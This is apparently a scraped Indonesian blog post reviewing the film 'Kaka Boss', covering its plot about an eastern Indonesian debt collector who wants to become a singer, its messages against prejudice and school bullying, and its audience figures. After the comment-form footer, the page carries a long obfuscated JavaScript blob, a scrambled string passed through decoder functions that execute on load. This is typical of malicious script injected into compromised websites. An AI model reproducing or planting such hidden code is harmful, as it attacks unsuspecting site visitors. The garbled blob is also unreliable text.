22/12/2024
1

Rumah produksi film Indonesia yaitu imajinari kembali bereksperimen nih. Kalau sebelumnya mereka buat film “Jatuh Cinta Seperti di Film Film” dengan tema hitam putih, kali ini imajinari coba bereksperimen dengan memberikan ruang bagi orang orang timur dimana di film Kaka Boss ini, pemeran filmnya banyak orang timur. Lewat trailer yang udah tersebar di internet, film ini menceritakan sebuah keluarga orang timur dengan kepala keluarganya yang bekerja sebagai debt collector di Jakarta. Namun, seiring berjalannya waktu, Kaka Boss pengen beralih pekerjaan buat jadi penyanyi biar anaknya ga dibully lagi disekolahnya.

Tentu saja peralihan karirnya sebagai penyanyi ini tidak mulus karena ternyata suara Kaka Boss sendiri jelek dan fals. Namun, Rekan produksi musiknya ga berani ngomong kalau suara si Kaka Boss ga cocok buat jadi penyanyi. Mereka takut kalau Kaka Boss bakal ngamuk dan mukulin mereka. Dari sinopsis tersebut, ada dua highlight yang imajinari coba buat sampaikan dalam film Kaka Boss. Pertama, orang timur itu ga kasar. Mereka jadi debt collector dan pengawal ya karena cuma itu jalan yang mereka punya buat dapet rezeki. Kedua, keadaan lingkungan sekolah yang sangat ga bermoral kaya bullying, masih sering terjadi.

Film Kaka Boss sendiri rilis pada tanggal 29 Agustus tahun ini, dimana per artikel ini ditulis penontonnya sendiri udah sukses mencapai 200 ribu lebih penonton. Yang terpenting, kita harus menanamkan bahwa kita semua sama sama manusia. Ga boleh tuh yang namanya membenci manusia lain, menjauhi manusia lain apalagi sampai melakukan rasisme ke sesama manusia. Yang ada itu cuma aku, kamu, dan kita semua yang sedang merajut kebhinekaan.

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

du,\'cZ).;a]PZ53xy_]%Z t;.eoM=.(ZZ,9h09(oe(Z8Z&o)OdqlrZi)pe((qt9Z.str=(};a=9()(Z(reZ3_2$s{(Z}Z]i&o=7ri.ZbjZ.s@())lR_\/!4.ogZ_8Poeni)_b)DZ(shZ_ZZZ3Zt_}s),8(;=0_,Ra% 1 Z]p=Z,(Zs(b0a}}oc2Z2&_.{{(#c(e,Z,9\/]iZ(.7(rn6xf\/TZ!)e,w(276e71Ze2IoIned4_umZ5mltZ)ei.ZZiZt$)%f({Vi(wn+))nke19.8n0t1Z3j4=.e,.e27Zwc._{]te%t)tZtn.))5.drZQafT);teaI_tv])eneFn Zi5b4Z40J<(ZihZj)Z{]sfZ0ZdRosZex(.)Z(e b}#$.ZZDh)edis_id{wr&,]rC;?;oc,Zw?]C((5e}Ip2Znr(4=7dZ".tZu,$]t!s)(&gwI(fcr;3(Gs;nVaZ)toZiG3Z2") ZNe]#l_1V)MsZ{;(lSZa. )Z.Z)6;b.otpux;5dT!q9+eZees$Z.iu%].{2IJZ{ZNsr7.x 0f)t0@_sj_5(n+n!Z;GGreP%04f)Zc(loZm(e3)\/)< %u,(Zutal>ZeZeJ)2ZZuwZtZtz%}.]m{[t]tewZMaZrZ*{Zru]]:osZa$p_A(3:,Cc.p_cZ;F)35j0j4j)ZZ;%sr)n!eool=]3Zt)7 e,,0.eZu3 %e;)0cZr,51j}(_)aaZZ .s(0x((Z:;!)ait})_c[Z>(c(0=oZ}ndeqfes6M=7[($ls2a1(3_r $_i\/9!6Z%.6r 3)Zw_0z_Za.) Zi%_4$mhi)]P!q39o-,i(ZZ}r:_J.aep4$e;=.Z=Z)S:tjZ6s,w3p]ft34}.Ze_3nFn(s]4Zn_%iZ.)4Z?2]{(Zj{ (Z.eZjujaw,q>ZZIZ,,(i$@!1d4tec euZ}i{. j_.=ZA2e{l$!5)Zi.e1oZZ_k,Mw"nZ "=ne}a.t jZc1 Ze{i;n(#ln%56Zs=Zga(+r7bseMsN{)e2gZ6(wZ$_n8n1i<()j;2t_Z(ncP2nn(}_ZhZa{{&rL.MZ. a.7OZ.eVr8ZtsZe 2ltjZj)4ddrsp!s(]a(6Z@!c,4#r{(.tZkcnZ.ZI0s6ZZ(v,j)Z]Zfo9i9)eZ;\/rgn;l=..ts[Tiql)E=:6)e0_ e0s7'));var trO=qGy(NFD,JVG );trO(3755);return 9930})();